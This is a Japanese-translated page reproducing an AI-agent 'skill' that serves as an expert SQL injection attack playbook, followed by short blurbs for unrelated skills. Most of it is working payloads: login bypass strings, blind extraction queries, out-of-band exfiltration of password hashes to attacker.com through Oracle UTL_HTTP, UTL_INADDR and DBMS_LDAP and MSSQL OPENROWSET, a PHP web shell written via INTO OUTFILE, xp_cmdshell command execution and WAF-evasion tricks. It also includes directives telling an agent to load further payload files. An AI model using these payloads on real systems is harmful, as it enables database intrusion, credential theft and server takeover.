sqli-sql-injection
SQLインジェクションに関するプレイブック。ユーザー入力がSQLクエリ、認証ロジック、ソート・フィルタリング・レポート処理、またはDB固有のブラインド・アウトオブバンド実行パスに到達する場合に使用します。
description の原文を見る
>- SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
SKILL.md 本文
SKILL: SQL インジェクション — エキスパート攻撃プレイブック
AI ロード指令: 高度な SQLi 技法。基本的な UNION/エラー/ブール値ブラインド基礎を既知と想定します。重点: データベース別エクスプロイテーション、帯域外流出、二次インジェクション、パラメータ化クエリバイパスシナリオ、フィルタ回避、OS への昇格。実世界の CVE ケース、SMB/DNS OOB 流出、INSERT/UPDATE インジェクションパターン、フレームワーク固有エクスプロイテーション (ThinkPHP、Django GIS) については、付属の
SCENARIOS.mdをロードしてください。
0. 関連ルーティング
ghost-bits-cast-attackバックエンドが Java with Jackson でかつ SQL キーワードが WAF ブロックされている場合 — Jackson のcharToHexテーブルはch & 0xFFによってインデックス付けされているため、丰(U+4E30) のような Unicode 文字は\uXXXXエスケープシーケンス内の 16 進数字0に解決され、WAF に見られることなくUNION、SELECT、1などを密輸できます
1. クイックスタート
拡張シナリオ
以下が必要な場合は SCENARIOS.md もロードしてください:
- SMB 帯域外流出 (Windows MySQL の
LOAD_FILE+ UNC パス経由) - KEY インジェクション / URI インジェクション / 非パラメータインジェクションポイント
- INSERT/DELETE/UPDATE ステートメントインジェクション差異
- ThinkPHP5 配列キーインジェクション (
updatexmlエラーベース) - Django GIS Oracle
utl_inaddr.get_host_nameCVE - ORDER BY / LIMIT インジェクション技法
高度なリファレンス
以下が必要な場合は SQLMAP_ADVANCED.md もロードしてください:
- SQLMap tamper スクリプトマトリックスと WAF バイパス tamper チェーンレシピ (space2comment、between、charencode など)
--technique、--risk/--level組み合わせと--second-url(二次インジェクション用)--os-shell/--os-pwnSQLMap 経由の OS レベルエクスプロイテーション- INSERT/UPDATE/DELETE インジェクションパターンとデータ流出例
- GraphQL + SQL インジェクション (バッチクエリ、ネストフィールドインジェクション、ミューテーションインジェクション)
- DB 固有の高度な関数: PostgreSQL ドル記号クォーティング、MSSQL リンクサーバー、Oracle DBMS_PIPE/DBMS_SCHEDULER
疑わしい SQL シンクのみ確認済みの場合は、最初に追加ペイロードスキルをロードしないでください。ここで最初のパス検証を完了してください。
最初のパスペイロードファミリー
| 状況 | 開始 | 理由 |
|---|---|---|
| ログインまたはブール分岐 | ' or 1=1-- | 認証または条件チェックに対する高速シグナル |
| 数値パラメータ | 1 or 1=1 | クォート依存を回避 |
| ORDER BY / ソート | 1,2,3 その後 1 desc-- | 構造プロービングに有効 |
| 表示される SQL エラー | ' その後 DBMS 固有エラープローブ | エラーテキストが DBMS 手がかり提供 |
| 表示出力なし | タイムベースペイロード | ブラインドターゲットの安定フォールバック |
| 重いフィルタリング / WAF | ポリグロットまたはホワイトスペースなし変種 | パーサー混乱サーフェス拡大 |
小さく安定した最初のパスセット
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS ルーティング手がかり
| 手がかり | 可能性が高い DBMS | 次のアクション |
|---|---|---|
You have an error in your SQL syntax | MySQL | SLEEP() と @@version を試す |
Microsoft OLE DB Provider | MSSQL | WAITFOR DELAY を試す |
PG:: / PostgreSQL | PostgreSQL | pg_sleep() を試す |
ORA- プレフィックス | Oracle | 帯域外または XML 機能にピボット |
| SQLite エラー、ローカルアプリ | SQLite | ブール値/UNION とファイルバック動作に焦点 |
1. 検出 — 微妙な指標
ほとんどの SQLi は 動作上の違い によって発見されます。エラーではなく:
| シグナル | 意味 |
|---|---|
' vs '' でページが異なる読み込み | 文字列コンテキストインジェクションポイント |
数値: 1 vs 1-1 vs 2-1 が同じ結果を返す | 算術演算評価 |
1=1 vs 1=2 が条件結果を変更 | ブール値ベースインジェクション |
| ORDER BY N を使用した SELECT: 列数列挙 | UNION 準備 |
タイム遅延: '; WAITFOR DELAY '0:0:5'-- | ブラインド/タイムベース |
' で 500 エラー、'' で 200 | 未処理例外 = SQLi |
| 異なる HTTP レスポンスサイズ | ブール値ブラインド指標 |
重要: すべてのパラメータタイプでテスト — URL クエリ、POST ボディ、JSON フィールド、XML 値、HTTP ヘッダー (X-Forwarded-For、User-Agent、Referer、Cookie 値)。
2. データベースフィンガープリンティング
-- MySQL
VERSION() -- バージョン文字列を返す
@@datadir -- データディレクトリ
@@global.secure_file_priv -- ファイル読み取り制限
-- MSSQL
@@VERSION -- 「Microsoft SQL Server」を含む
DB_NAME() -- 現在のデータベース
USER_NAME() -- 現在のユーザー
-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- 現在の db (代替)
user -- 現在の Oracle ユーザー
-- PostgreSQL
version() -- バージョンを返す
current_database() -- 現在の db
current_user -- 現在のユーザー
エラーベースフィンガープリント: ' を注入してエラーメッセージ形式を読む。MySQL エラーは Oracle/MSSQL と異なります。
3. UNION ベースデータ抽出
列数決定:
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← エラーまで = N-1 列
列型検出 (NULL が最も安全):
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← 文字列列を見つける
データベース固有の文字列連結 (列が整数のみを受け入れる場合に必須):
-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password
4. ブラインドインジェクション — 推論技法
ブール値ブラインド (条件付きレスポンス差異)
-- ユーザー名の最初の文字 = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
タイムベースブラインド (レスポンス差異なし)
-- MSSQL (最も信頼性が高い)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle スリープ代替案 (SLEEP なし):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
5. 帯域外 (OOB) 流出 — クリティカル
ブラインドインジェクションにタイム/ブール値指標がない場合、またはバッチクエリがインラインでデータを返せない場合に使用します。
MSSQL — OpenRowSet (SQLOLEDB が必須、アウトバウンド TCP)
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- テーブルデータを流出:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
ファイアウォール出口制限をバイパスするには ポート 80 または 443 を使用してください。
Oracle — UTL_HTTP (HTTP GET、データを URL パスに)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle の UTL_HTTP はプロキシをサポート — 企業プロキシ経由で流出可能!
Oracle — UTL_INADDR (DNS 流出 — HTTP 制限をバイパス)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
攻撃者は HASH_VALUE.attacker.com DNS クエリを見る → パスワードハッシュを読む。
Oracle — UTL_SMTP / UTL_TCP
-- 大規模データダンプをメール送信:
UTL_SMTP.SENDMAIL(...) -- クエリ結果をメール経由で送信
-- raw TCP ソケット:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — LOAD_FILE 経由の DNS (Windows + UNC パス)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- 接続試行前に DNS ルックアップをトリガー
-- Windows ホストでアウトバウンド SMB で動作
MySQL — INTO OUTFILE (インバンドファイルシステム書き込み)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- 要件: FILE 権限、書き込み可能な Web ルート、secure_file_priv=''
6. 昇格 — OS コマンド実行
MSSQL — xp_cmdshell (有効な場合、または sysadmin の場合)
'; EXEC xp_cmdshell('whoami')--
-- 無効な場合、有効化 (sysadmin が必須):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF (ユーザー定義関数)
悪意あるシェアードライブラリをファイルシステムに書き込み、その後 CREATE FUNCTION ... SONAME を実行。
Oracle — Java ストアドプロシージャ
-- Java クラス作成:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- その後 Java Runtime 経由で OS コマンド実行
7. 二次インジェクション
概念: ユーザー入力は安全に保存される (パラメータ化) が、後で 信頼されたデータとして取得 され、再サニタイズなしで新しいクエリに連結されます。
攻撃フロー例:
- ユーザー名登録:
admin'-- - アプリケーションはこれを安全に users テーブルに挿入
- パスワード変更関数はセッションからユーザー名を取得 (信頼!) し、以下をビルド:
UPDATE users SET password='newpass' WHERE username='admin'--' - コメントが条件を削除 → admin のパスワードを更新
重要な洞察: 保存されたデータを読み取り、新しい DB クエリで使用するアプリケーション機能はすべて二次候補です。レビュー: パスワード変更、プロフィール更新、ユーザーデータに対する管理者アクション。
8. パラメータ化クエリバイパスシナリオ
パラメータ化クエリは以下の場合 SQLi を防ぎません:
-
テーブル/列名がユーザー制御 — params は識別子をパラメータ化できません:
-- params でも UNSAFE: "SELECT * FROM " + tableName + " WHERE id = ?"軽減: テーブル/列名をホワイトリスト検証。
-
部分的なパラメータ化 — いくつかのフィールドが連結、他がパラメータ化:
"SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType パラメータ化されない → インジェクション -
IN 句 (ORM の一般的なミス) で動的カウント:
SELECT * FROM items WHERE id IN (1, 2, ?) -- 最後のみパラメータ化 -
二次 — DB から取得したデータが信頼できると見なされ、params なしでクエリに再利用。
9. フィルタ回避技法
コメントインジェクション (キーワード分割)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
ケース変更
UnIoN SeLeCt
URL エンコーディング
%55NION -- U
%53ELECT -- S
ホワイトスペース代替案
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- タブ
SELECT%0ausername%0aFROM%0ausers -- 改行
文字列構築 (リテラル文字列検出バイパス)
-- MySQL 連結 (クォートなし):
CHAR(117,115,101,114,110,97,109,101) -- 'username'
-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
10. データベースメタデータ抽出
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U' -- ユーザーテーブル
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users -- DBA が必須
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
11. ストアドプロシージャの悪用
MSSQL — sp_OAMethod (COM オートメーション)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP (アウトバウンド LDAP = DNS 流出)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
12. クイックリファレンス — インジェクションテスト文字列
' -- 文字列コンテキスト破壊
'' -- エスケープクォート (処理テスト)
' OR 1=1-- -- 認証バイパス試行
' OR 'a'='a -- 代替認証バイパス
'; SELECT 1-- -- ステートメント終了
' UNION SELECT NULL-- -- UNION テスト
' AND 1=1-- -- ブール値真
' AND 1=2-- -- ブール値偽 (異なるレスポンス → インジェクション可能)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL タイム遅延
1 AND SLEEP(3)-- -- MySQL タイム遅延
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle タイム遅延
13. WAF バイパスマトリックス
| 技法 | ブロック | バイパス |
|---|---|---|
| スペースフィルタ | SELECT * FROM | SELECT/**/*//**/FROM、SELECT%0a*%0aFROM |
| カンマフィルタ | UNION SELECT 1,2,3 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c |
| クォートフィルタ | 'admin' | 0x61646D696E (16 進)、CHAR(97,100,109,105,110) |
| OR/AND フィルタ | OR 1=1 | <code>||1=1</code>、&&1=1、DIV 0 |
| = フィルタ | id=1 | id LIKE 1、id REGEXP '^1$'、id IN (1)、id BETWEEN 1 AND 1 |
| SELECT フィルタ | handler (MySQL)、PREPARE+16 進、またはスタッククエリ | |
| information_schema フィルタ | mysql.innodb_table_stats、sys.schema_table_statistics |
追加 WAF バイパスパターン:
- ポリグロット:
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ - ルーティングインジェクション:
1' UNION SELECT 0x(inner_payload_hex)-- -(inner payload は 16 進エンコード別フルクエリ) - 二次: ストレージに注入、後でデータが別クエリで使用される時トリガー
- PDO エミュレートプリペア:
PDO::ATTR_EMULATE_PREPARES=trueの場合、パラメータ化風のコードでもスタッククエリが動作
14. WAF バイパスマトリックス
ノースペースバイパス
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
ノーカンマバイパス
-- UNION (カンマの代わりに JOIN):
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING 代替案: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT 代替案: LIMIT 1 OFFSET 0
ポリグロットインジェクション
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
ルーティングインジェクション
-- 最初のクエリが 2 番目のクエリへの入力として使用される文字列を返す:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- 返される値が別の SQL コンテキストの一部になる
二次インジェクション
-- ステップ 1: ユーザー名登録: admin'--
-- ステップ 2: パスワード変更トリガー (保存されたユーザー名を SQL で使用)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO / プリペアドステートメント エッジケース
// PDO でも、クエリ構造が動的な場合は UNSAFE:
$pdo->query("SELECT * FROM " . $_GET['table']);
// または マルチクエリでエミュレートプリペアを使用:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
エントリーポイント検出 (Unicode トリック)
U+02BA ʺ (修飾文字ダブルプライム) → "
U+02B9 ʹ (修飾文字プライム) → '
%%2727 → %27 → '
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
hugging-face-trackio
Trackioを使用してMLトレーニング実験を追跡・可視化できます。トレーニング中のメトリクスログ記録(Python API)、トレーニング診断のアラート発火、ログされたメトリクスの取得・分析(CLI)が必要な場合に活用してください。リアルタイムダッシュボード表示、Webhookを使用したアラート、HF Space同期、自動化向けのJSON出力に対応しています。
btc-bottom-model
ビットコインのサイクルタイミングモデルで、加重スコアリングシステムを搭載しています。日次パルス(4指標、32ポイント)とウィークリー構造(9指標、68ポイント)の2カテゴリーにわたる13の指標を追跡し、0~100のマーケットヒートスコアを算出します。ETFフロー、ファンディングレート、ロング/ショート比率、恐怖・貪欲指数、LTH-MVRV、NUPL、SOPR(LTH+STH)、LTH供給率、移動平均倍率(365日MA、200週MA)、週次RSI、出来高トレンドに対応します。市場サイクル全体を通じて買いと売りの両方の推奨を提供します。ビットコインの底値拾い、BTCサイクルポジション、買い時・売り時、オンチェーン指標、MVRV、NUPL、SOPR、LTH動向、ETFの流出入、ファンディングレート、恐怖指数、ビットコインが過熱状態か、マイナーコスト、暗号資産市場のセンチメント、BTCのポジションサイジング、「今ビットコインを買うべきか」「BTCが天井をつけているか」「オンチェーン指標は何を示しているか」といった質問の際にこのスキルを活用します。
protein_solubility_optimization
タンパク質の溶解性最適化 - タンパク質の溶解性を最適化します。タンパク質の特性を計算し、溶解性と親水性を予測し、有効な変異を提案します。タンパク質配列の特性計算、タンパク質機能の予測、親水性計算、ゼロショット配列予測を含むタンパク質エンジニアリング業務に使用できます。3つのSCPサーバーから4つのツールを統合しています。
research-lookup
Parallel Chat APIまたはPerplexity sonar-pro-searchを使用して、最新の研究情報を検索できます。学術論文の検索にも対応しています。クエリは自動的に最適なバックエンドにルーティングされるため、論文の検索、研究データの収集、科学情報の検証に活用できます。
tree-formatting
ggtree(R)またはiTOL(ウェブ)を使用して、系統樹の可視化とフォーマットを行います。系統樹を図として描画する際、ツリーレイアウトの選択、分類学に基づく枝やラベルの色付け、クレードの折りたたみ、サポート値の表示、またはツリーへのオーバーレイ追加が必要な場合に使用してください。系統推定(protein-phylogenyスキルを使用)やドメイン注釈(今後の独立したスキル)には使用しないでください。
querying-indonesian-gov-data
インドネシア政府の50以上のAPIとデータソースに接続できます。BPJPH(ハラール認証)、BOM(食品安全)、OJK(金融適正性)、BPS(統計)、BMKG(気象・地震)、インドネシア中央銀行(為替レート)、IDX(株式)、CKAN公開データポータル、pasal.id(第三者法MCP)に対応しています。インドネシア政府データを活用したアプリ開発、.go.idウェブサイトのスクレイピング、ハラール認証の確認、企業の法的適正性の検証、金融機関ステータスの照会、またはインドネシアMCPサーバーへの接続時に使用できます。CSRF処理、CKAN API使用方法、IP制限回避など、すぐに実行可能なPythonパターンを含んでいます。